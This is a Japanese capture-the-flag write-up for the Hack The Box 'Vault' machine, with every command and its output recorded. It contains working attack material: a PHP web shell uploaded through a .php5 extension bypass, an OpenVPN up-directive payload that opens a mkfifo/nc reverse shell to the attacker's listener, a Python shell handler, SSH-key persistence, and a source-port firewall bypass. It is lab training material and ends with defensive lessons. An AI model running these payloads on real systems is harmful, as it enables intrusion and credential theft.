Hack The BoxのWriteup(Vault)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Vault — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80 open
→
.php5アップロードバイパス
changelogo.php
→
dave資格情報 + GPGパスフレーズ
Desktop/{ssh,key,Servers}
→
OpenVPN up-script RCE
vpnconfig.php(確率的発火)
→
192.168.122.4 root化
user.txt + dave2資格情報 ✓
→
ファイアウォール送信元ポートバイパス
ncat -p 53/4444
→
rbash脱出
192.168.5.2 (Vault)
→
root.txt.gpg → GPG復号 ✓

ポートスキャン & トップページ確認

BASH
nmap -Pn -p- --min-rate 1000 -T4 10.129.80.84
curl -sk http://10.129.80.84/
RESULT
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

<b>Welcome to the Slowdaddy web interface</b>
<p>
We specialise in providing financial orginisations with strong web and
database solutions and we promise to keep your customers financial data safe.
<p>
We are proud to announce our first client: Sparklays
(Sparklays.com still under construction)
ℹ️
稼働サービスはSSH(22)とHTTP(80)のみ。トップページから”Sparklays”という クライアントサイト(/sparklays/配下)の存在が示唆される。
PHASE 2

.php5アップロードバイパス → www-data RCE

Sparklaysサイトのロゴアップロード機能を発見

NOTE
/sparklays/design/design.html に、クライアント企業のロゴをアップロードする
フォームがあり、POST先は changelogo.php。拡張子フィルタがあり ".php" は拒否
されるが、Apacheの AddHandler 設定ミスにより ".php5" もPHPとして実行される
(典型的な拡張子ブラックリスト不備)。
BASH (Webシェル作成 & アップロード)
echo '<?php system($_GET["cmd"]); ?>' > shell.php5
curl -sk -F "file=@shell.php5" -F "submit=upload file" \
  http://10.129.80.84/sparklays/design/changelogo.php
RESULT
The file was uploaded successfully<br><br>
<!DOCTYPE html>...

RCE確認

BASH
curl -sk -G http://10.129.80.84/sparklays/design/uploads/shell.php5 \
  --data-urlencode "cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
www-data権限でのRCE成立。 以降、このWebシェル経由で全ての 偵察・情報収集コマンドを実行する。
PHASE 3

内部情報収集 — dave資格情報・GPGパスフレーズ・サーバー一覧

dave の Desktop 配下の平文ファイルを閲覧

BASH
curl -sk -G http://10.129.80.84/sparklays/design/uploads/shell.php5 \
  --data-urlencode "cmd=cat /home/dave/Desktop/ssh"
curl -sk -G http://10.129.80.84/sparklays/design/uploads/shell.php5 \
  --data-urlencode "cmd=cat /home/dave/Desktop/key"
curl -sk -G http://10.129.80.84/sparklays/design/uploads/shell.php5 \
  --data-urlencode "cmd=cat /home/dave/Desktop/Servers"
RESULT
# Desktop/ssh
dave
Dav3therav3123

# Desktop/key
itscominghome

# Desktop/Servers
DNS + Configurator - 192.168.122.4
Firewall - 192.168.122.5
The Vault - x
ℹ️
これら3ファイルは所有者がalexだが権限は読み取り可能なまま daveのDesktopに置かれている(典型的な設定ミス)。SSH資格情報 (dave:Dav3therav3123)、GPGパスフレーズ(後でroot.txt.gpgの復号に 使う)、そして内部ネットワークのサーバー一覧が判明する。

daveでSSHログイン & ハイパーバイザー構成の確認

BASH
ssh dave@10.129.80.84   # Dav3therav3123
ps aux | grep qemu
RESULT
libvirt+  1692 ... qemu-system-x86_64 -name Vault ... -drive file=/var/lib/libvirt/images/Vault.qcow2 ...
libvirt+  1747 ... qemu-system-x86_64 -name DNS ... -drive file=/var/lib/libvirt/images/DNS.qcow2 ...
libvirt+  1821 ... qemu-system-x86_64 -name Firewall ... -drive file=/var/lib/libvirt/images/Firewall.qcow2 ...
🚨
このマシン自体がKVM/libvirtハイパーバイザーで、 virbr0(192.168.122.1/24)配下に DNS / Firewall / Vault という3つのゲストVMが稼働している。dave は libvirt グループに属しておらず virshへのアクセスは拒否される(Permission denied)ため、 各ゲストへは個別にネットワーク経由でピボットする必要がある。
PHASE 4

192.168.122.4 “VPN Configurator” — OpenVPN up-script RCE

dave経由でVPN Configuratorへピボット

BASH
# dave@targetからの ssh -L で192.168.122.4:80へトンネル
ssh -L 8880:192.168.122.4:80 dave@10.129.80.84
# 別ターミナルから
curl -sk http://127.0.0.1:8880/vpnconfig.php
RESULT
<h1> VPN Configurator </h1><p>
Here you can modify your .ovpn file and execute it.<p>
Note: nobind must be used. <p>
<form action="vpnconfig.php?function=testvpn" method="post">
<textarea rows="10" cols="40" name="text"></textarea><p>
<input type="submit" value="Update file">
<input type="hidden" name="resulturl" value="google.com">
<p>
<a href="vpnconfig.php?function=testvpn" class="mybutton">Test VPN</a>
</html>
🚨
重要な見落としポイント: POST先と”Test VPN”リンクの URLは完全に同一(vpnconfig.php?function=testvpn)だが、 実際には2つの異なる操作である。POST(Update file ボタン)は アップロードした内容を 123.ovpn というファイルへ保存するだけで、 実際に sudo openvpn 123.ovpn を実行するのは別の GET リクエスト (“Test VPN”リンク)である。POSTだけを何度繰り返しても何も実行されない。

script.sh の内容を直接確認(静的ファイルとして公開されていた)

BASH
curl -sk http://127.0.0.1:8880/script.sh
curl -sk http://127.0.0.1:8880/notes
RESULT
# script.sh
#!/bin/bash
sudo openvpn 123.ovpn

# notes
chmod 123.ovpn and script.sh to 777
ℹ️
裏側の実体はたったこれだけ。タイムアウトも バックグラウンド化もない、単純な sudo openvpn 123.ovpn の同期実行。 OpenVPNのscript-security 2 + up ディレクティブを悪用すれば、 root権限でのコマンド実行が可能になる(典型的なOpenVPN up-script特権昇格)。

正しい .ovpn ペイロードの構成 — 公開writeupと複数の実機検証で確定

NOTE (重要な罠まとめ)
実機での試行錯誤の結果、以下の構成要素が全て必須であることが判明した:

1. dev null は機能しない: 一般的なGTFOBinsの
   "openvpn --dev null --script-security 2 --up ..." は、この対象機の
   古いopenvpnバージョンでは up スクリプトが一切発火しない。
   "remote <IP>" + "ifconfig <ローカルIP> <リモートIP>" + "dev tun" +
   "nobind" という、実際のトンネル確立を試みる構成が必要。

2. bashの/dev/tcpは使えない: upスクリプトから生成される
   シェルは "/bin/sh -i"(bashではない)であり、/dev/tcp組込みリダイレクトは
   動作しない。実際の "nc" コマンドを使うmkfifoリバースシェルが必要:
     /bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <host> <port> >/tmp/f'

3. 発火は確率的: "Test VPN" (GET) を1回叩くだけでは
   高確率で失敗する。複数回(10回前後)リトライして初めて成功することがある。

4. upスクリプトはCWD="/var/www/html"で実行される(公開writeupで確認済み)。
BASH (最終的なペイロード)
cat > vault_rce.ovpn << 'EOF'
remote 192.168.122.1
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
up "/bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.122.1 9196 >/tmp/f'"
nobind
EOF

# 1. kali側(実際はdave@target経由でトンネルしたリスナー)で受信準備
#    nc -lvnp  -k の単純ログ取りは対話シェルへのEOFで即座に閉じるため、
#    自前のPython TCPハンドラでコマンド注入する(次項参照)

# 2. POST (保存)
curl -sk -X POST "http://127.0.0.1:8880/vpnconfig.php?function=testvpn" \
  --data-urlencode "text@vault_rce.ovpn" --data-urlencode "resulturl=google.com"

# 3. GET (実行トリガー) を複数回リトライ
for i in $(seq 1 12); do
  curl -sk --max-time 4 "http://127.0.0.1:8880/vpnconfig.php?function=testvpn" -o /dev/null
  sleep 1
done

リバースシェルの捕捉 — 自前Pythonハンドラが必須

NOTE
mkfifoリバースシェルが実際に接続してきても、単純な
"nc -lvnp <port> -k > log.txt" のようなログ取りでは、nc自身のstdinが
/dev/nullにリダイレクトされているため、接続直後に対話シェル側へEOFが流れ、
"/bin/sh -i" が即座に終了してしまう(接続直後に"Connection closed"が
記録されるだけで何もコマンドを実行できない)。

対象機のUbuntu16.04はpython3.5が標準(f-string未対応)のため、
以下のような軽量TCPサーバーを用意し、接続受理後に能動的に
sendall()でコマンド列を送信する方式を使う:
PYTHON (vault_handler.py、Python3.5互換)
import socket, sys, time
PORT = int(sys.argv[1]); OUTFILE = sys.argv[2]; CMDS = sys.argv[3:]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", PORT)); s.listen(1); s.settimeout(90)
with open(OUTFILE, "ab") as f:
    conn, addr = s.accept()
    f.write(("=== CONNECTED FROM %s ===\n" % str(addr)).encode())
    conn.settimeout(5); time.sleep(1)
    for cmd in CMDS:
        conn.sendall((cmd + "\n").encode())
        time.sleep(1.5)
        try:
            while True:
                data = conn.recv(65536)
                if not data: break
                f.write(data); f.flush()
        except socket.timeout:
            pass
RESULT (捕捉したログ)
=== CONNECTED FROM ('192.168.122.4', 45422) ===
/bin/sh: 0: can't access tty; job control turned off
# uid=0(root) gid=0(root) groups=0(root)
# DNS
# KEYDONE
# /home/dave/user.txt
...
# total 48
...
-rw-rw-r-- 1 dave dave   33 Sep  3  2018 user.txt
✅
root権限でのコマンド実行に成功!(uid=0)。この1回の 接続で、ホスト名確認・/root/.ssh/authorized_keysへの公開鍵永続化 (KEYDONE)・/home/dave/user.txtの発見まで一括で完結させた。
PHASE 5

user.txt取得 & ファイアウォール送信元ポートバイパス

永続化した鍵で192.168.122.4へ再接続、user.txtと2つ目の資格情報を取得

BASH
# dave@target経由で192.168.122.4:22へトンネルし、
# さきほど永続化したSSH鍵でroot接続
ssh -L 18822:192.168.122.4:22 dave@10.129.80.84
ssh -i vault_dns_root.key -p 18822 root@127.0.0.1 \
  "cat /home/dave/user.txt; cat /home/dave/ssh"
RESULT
a4947faa8d4e1f80771d34234bd88c73
---
dave
dav3gerous567
user.txt — /home/dave/user.txt (192.168.122.4 “DNS”)
a4947faa8d4e1f80771d34234bd88c73
ℹ️
/home/dave/sshというファイルに、main hostと同じ”dave”という ユーザー名だが別のパスワード(dav3gerous567)が 記載されている。これが次の段のファイアウォール/Vaultホストへの ピボット用資格情報になる。

ファイアウォール(192.168.122.5)の送信元ポート制限を確認

BASH (root@192.168.122.4のシェルから)
cat /etc/hosts
ip route
nc -zv -w3 192.168.5.2 987          # 直接は失敗する
ncat -v -p 53 192.168.5.2 987 < /dev/null    # 送信元ポート53なら成功
RESULT
192.168.5.2 Vault
192.168.5.0/24 via 192.168.122.5 dev ens3

nc: connect to 192.168.5.2 port 987 (tcp) timed out

Ncat: Connected to 192.168.5.2:987.
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
🚨
ファイアウォールは送信元ポートのみでフィルタしている。 通常のアウトバウンド接続(ランダムな高ポート)はブロックされるが、 送信元ポートを53番(または4444番)に固定すると 192.168.5.2(Vault、SSHは非標準の987番)への到達が許可される。

ncatリレーで送信元ポートバイパスをトンネル化

BASH (root@192.168.122.4のシェルから)
setsid nohup ncat -l 12222 -k --sh-exec \
  "ncat -p 53 192.168.5.2 987" > /tmp/.relay.log 2>&1 < /dev/null &
disown -a
⚠️
重大な罠: このリレーに-k(複数接続受付)を 付けないと、SSH -L のローカルポート生存確認 (単純なconnect+close)自体がリレーの唯一の接続機会を消費してしまい、 本番のSSHログインがConnection reset by peerで失敗する。 -kを維持したまま、ローカル側の生存確認はconnect型を避け 固定のsleepで待つのが正しい対処。
PHASE 6

rbash脱出 → root.txt.gpg取得 → GPG復号

2段トンネル経由でVaultホスト(192.168.5.2)へdave2としてログイン

BASH
# root@192.168.122.4経由でリレー(12222)をkali側までさらにトンネル
ssh -i vault_dns_root.key -p 18822 -N -L 18823:127.0.0.1:12222 root@127.0.0.1 &

# dave2(dave:dav3gerous567)でログイン、rbash脱出
ssh -p 18823 dave@127.0.0.1 -t 'bash --noprofile -c "id"'
RESULT
Linux Vault ... x86_64
                      Here's Waldo, where's root?   (※別マシンの演出ではなく実際にこのバナー表示)
-rbash: alias: command not found
...
uid=1001(dave) gid=1001(dave) groups=1001(dave)
ℹ️
ログイン直後の-rbash: alias: command not found警告から 制限付きシェル(rbash)であることが分かるが、 -t 'bash --noprofile -c ""'でrbashの初期化を一切経由せず 通常のbashを強制起動することで容易に回避できる。

root.txt.gpg を発見 & base32で持ち出す

BASH
ssh -p 18823 dave@127.0.0.1 -t 'bash --noprofile -c \
  "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; \
   find / -xdev -maxdepth 3 -iname root.txt.gpg 2>/dev/null -exec base32 {} \;"'
⚠️
罠: find / -maxdepth 2では /home/dave/root.txt.gpg(深さ3: /=0, /home=1, /home/dave=2, ファイル自体=3)に到達できず、エラーも出ずに 静かに何も見つからない。-maxdepth 3が正しい。
RESULT
QUBAYA6HPDDBBUPLD4BQCEAAUCMOVUY2GZXH4SL5RXIOQQYVMY4TAUFOZE64YFASXVITKTD56JHD
LIHBLW3OQMKSHQDUTH3R6QKT3MUYPL32DYMUVFHTWRVO5Q3YLSY2R4K3RUOYE5YKCP2PAX7S7OJB
... (以下略、629バイト相当のbase32テキスト) ...
TTAX3UIRVNBQMYRI7XY=

main hostへ転送 → base32デコード → GPG復号

BASH
# base32テキストをファイルに保存し、dave@main hostへscp
scp root_txt_gpg.b32 dave@10.129.80.84:/tmp/.root.txt.gpg.b32

ssh dave@10.129.80.84 "
  base32 -d /tmp/.root.txt.gpg.b32 > /tmp/.root.txt.gpg
  echo 'itscominghome' | gpg --batch --yes --passphrase-fd 0 -d /tmp/.root.txt.gpg
"
RESULT
gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24
      "david <dave@david.com>"
ca468370b91d1f5906e31093d9bfe819
ℹ️
対象のgpgは1.4.20で--pinentry-modeオプションに 未対応のため、新しいgpg2環境向けの構文(--pinentry-mode loopback --passphrase)はエラーになる。--passphrase-fd 0方式 (パスフレーズを標準入力経由で渡す古典的な方法)を使う必要がある。 daveの~/.gnupgに秘密鍵が既に存在しているため、 Desktop/keyで入手したパスフレーズ(itscominghome)だけで復号できる。
root.txt — /home/dave/root.txt.gpg (192.168.5.2 "Vault"、main hostでGPG復号)
ca468370b91d1f5906e31093d9bfe819
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — /home/dave/user.txt (192.168.122.4)
a4947faa8d4e1f80771d34234bd88c73
root.txt — /home/dave/root.txt.gpg (192.168.5.2、GPG復号)
ca468370b91d1f5906e31093d9bfe819

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
アップロード拡張子バイパス changelogo.php (.php5許可) 無認証RCE (www-data) Critical ブラックリストが".php"のみ拒否、Apacheが.php5もPHPとして実行するAddHandler設定ミスを突く
平文資格情報の放置 /home/dave/Desktop/{ssh,key,Servers} SSH資格情報・GPGパスフレーズ・内部トポロジ漏洩 Medium 所有者alexだが読み取り可能なままdaveのDesktopに放置
OpenVPN up-script RCE vpnconfig.php (script-security 2 + sudo openvpn) 権限昇格(root on 192.168.122.4) Critical 任意の.ovpn設定をアップロードし"Test VPN"で実行、up ディレクティブでroot権限コマンド実行(確率的発火・多くの構成上の罠あり)
ファイアウォール送信元ポートのみでのフィルタ 192.168.122.5 (Firewall) 内部セグメンテーション回避 High 送信元ポートを53/4444に固定するだけで192.168.5.0/24への到達制限を回避
rbash (制限シェル) の回避 Vaultホストのdave2ログインシェル 制限シェルの完全な無効化 Medium ssh ... -t 'bash --noprofile -c "..."'で初期化スクリプトを経由せず通常bashを強制起動

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap(22/80のみ)"Slowdaddy/Sparklays"パターン確認
2エクスプロイトchangelogo.phpの.php5アップロードバイパスwww-data RCE
3内部情報収集dave Desktop配下の平文ファイル閲覧dave資格情報・GPGパスフレーズ・サーバー一覧・KVM/libvirt構成確認
4OpenVPN RCEvpnconfig.phpのup-script RCE(remote+ifconfig+dev tun+nobind、mkfifo+nc)、確率的発火を最大12回リトライ192.168.122.4をroot化
5情報回収自前Pythonハンドラでリバースシェルからコマンド注入user.txt + 2つ目のdave資格情報
6ファイアウォール突破ncatリレー(送信元ポート53/4444固定)でVaultホストへ到達192.168.5.2へのSSH到達性確立
6'権限昇格rbash脱出 + root.txt.gpgのbase32持出し + GPG復号(--passphrase-fd 0)root.txt 取得

学んだ教訓 & 防御策

問題点防御策
ファイルアップロードの拡張子ブラックリストが不完全(.php5未対応) 許可リスト方式(画像拡張子+マジックバイト検証)に切り替え、Apacheの古いAddHandler設定(.php, .php5等を全てPHPとして実行)を見直す。
資格情報・内部トポロジ情報が平文でDesktop上に放置 機密情報をデスクトップ上の平文ファイルに置かない。パスワードマネージャーやVault製品を使う。
ユーザー制御の.ovpnファイルをsudo経由でそのまま実行するWebアプリ機能 ユーザー入力でOpenVPN設定ファイルを構成させない。少なくともscript-security・up・down等の危険なディレクティブをサーバー側でホワイトリスト検証し拒否する。
内部ファイアウォールが送信元ポートのみでフィルタしている 送信元ポートはクライアントが自由に選べるため信頼できる識別子にならない。送信元IPアドレス・証明書・VPN等、偽装困難な要素でアクセス制御する。
rbashは`-t`付きSSHで容易に回避できる 制限シェルをセキュリティ境界として過信しない。sudoの許可コマンドリストやAppArmor/SELinux等のOSレベル強制アクセス制御と併用する。
HackTheBox: Vault | 完全攻略レポート